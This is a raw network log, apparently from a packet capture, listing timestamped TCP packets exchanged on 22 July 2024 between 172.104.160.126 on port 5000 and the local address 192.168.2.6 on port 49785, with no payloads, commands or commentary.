Jul 22, 2024 15:58:02.694830894 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694844007 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694855928 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694870949 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694881916 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694894075 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694916010 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694931030 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694942951 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694956064 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694967985 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694979906 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694994926 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695007086 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695019007 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695029974 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695034981 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695046902 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695058107 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695069075 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695080996 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695092916 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695105076 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695116043 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695135117 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695147038 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695158005 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695169926 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695180893 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695193052 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695204020 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695216894 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695231915 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695244074 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695256948 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695267916 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695280075 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695291996 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695302963 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695314884 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695327044 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695338964 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695350885 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695363045 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695374012 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695385933 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695400000 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695411921 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695422888 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.695426941 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.696101904 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.696103096 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.696173906 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.697469950 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.697526932 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.701183081 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.701196909 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.701256037 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.701270103 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.701378107 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.701390982 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.701492071 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.701509953 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.701570034 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.701584101 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.701597929 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.701620102 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.701632977 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.701643944 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.701843023 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.701848984 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.701860905 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.701874018 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.702107906 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.702120066 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.702131987 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.702147007 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.702368975 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.702382088 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.702394009 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.702595949 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.702608109 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.702619076 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.702960014 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.702971935 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.702986956 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.703187943 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.703201056 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.703212976 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.703269958 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.703282118 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.703294992 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.703424931 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.703536987 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.703783989 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.703797102 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.703809023 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.703820944 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.703831911 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.703850031 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.703861952 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.703874111 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.703885078 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.703896999 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.705327034 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.708508968 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.708646059 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.708741903 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.708782911 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.708926916 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.708939075 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.708951950 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.709697008 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.709709883 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.710117102 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.710206032 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.710385084 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.710455894 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.715445995 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.716367960 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.716517925 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.716531038 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.716543913 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.716650963 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.716722012 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.717612982 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.717626095 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.717638016 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.717648983 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.717660904 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.718532085 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.718544960 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.722661972 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.722742081 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.722841024 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.722906113 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.729969978 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.730206013 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.730218887 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.730542898 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.730556011 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.730567932 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.730578899 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.730591059 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.730602026 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.730612993 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.730626106 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.730946064 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.730957985 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.730968952 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.730981112 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.730992079 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731003046 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731015921 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731026888 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731039047 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731271029 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731282949 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731296062 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731308937 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731319904 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731332064 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731343031 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731353998 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731365919 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731378078 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731389046 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731404066 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731415033 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731962919 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731976032 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731987953 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.731998920 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.732011080 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.732021093 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.732026100 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.732033014 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.732047081 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.732103109 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.734601974 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.734615088 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.734886885 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.734961033 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.737174988 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.737436056 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.737449884 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.737819910 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.737997055 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.738009930 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.738022089 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.738034010 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.738044977 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.739938974 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.739958048 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.739970922 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.742079020 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.742646933 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.742712975 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.743731976 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.743793011 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.747714043 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.748151064 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.748464108 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.749706030 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.749860048 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.750389099 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.753777027 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.753853083 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.757742882 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.759433985 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.759846926 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.760135889 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.760278940 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.760390043 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.760402918 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.760415077 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.760426998 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.760438919 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.764117002 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.764130116 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.768675089 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.768744946 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.768868923 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.768923044 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.774610043 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.774719000 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.774765968 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.774832964 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.774876118 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.774945974 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.774962902 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.774970055 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.775542974 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.775556087 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.775567055 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.775578976 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.775590897 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.775602102 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.775614023 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.775624990 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.775635958 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.775646925 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.775657892 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.775670052 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.775851965 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.776591063 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.776606083 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.776614904 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.816363096 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.816445112 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.816446066 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.816526890 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.821546078 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.821650028 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.821711063 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.821718931 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.821862936 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.821871996 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.821878910 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.822061062 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.822068930 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.822160006 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.822166920 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.822345972 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.822352886 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.822360992 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.822489023 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.822879076 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.822886944 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.823057890 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.823065996 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.823124886 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.823196888 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.823398113 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.823405981 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.823414087 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.823421001 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.823429108 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.823576927 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.823591948 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.823597908 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.823605061 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.823671103 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.823791981 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.823795080 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.823797941 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.823862076 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.823869944 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.823968887 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.923222065 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.923284054 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.923537016 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.923595905 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.932835102 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.048523903 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:03.048645973 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:03.048860073 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:03.048928976 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:03.053819895 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.054510117 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.054594040 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.054940939 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.054981947 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.055190086 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.055619955 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.062251091 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:03.062325954 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:03.067281961 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.067305088 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.067718983 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.067811012 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.067923069 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.068031073 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.068041086 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.068051100 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.074249983 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:03.074341059 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:03.079750061 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.080183029 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.080513000 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.107444048 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:03.107517004 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:03.112759113 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.112850904 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.112895966 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.112977028 CEST	5000	49785	172.104.160.126	192.168.2.6
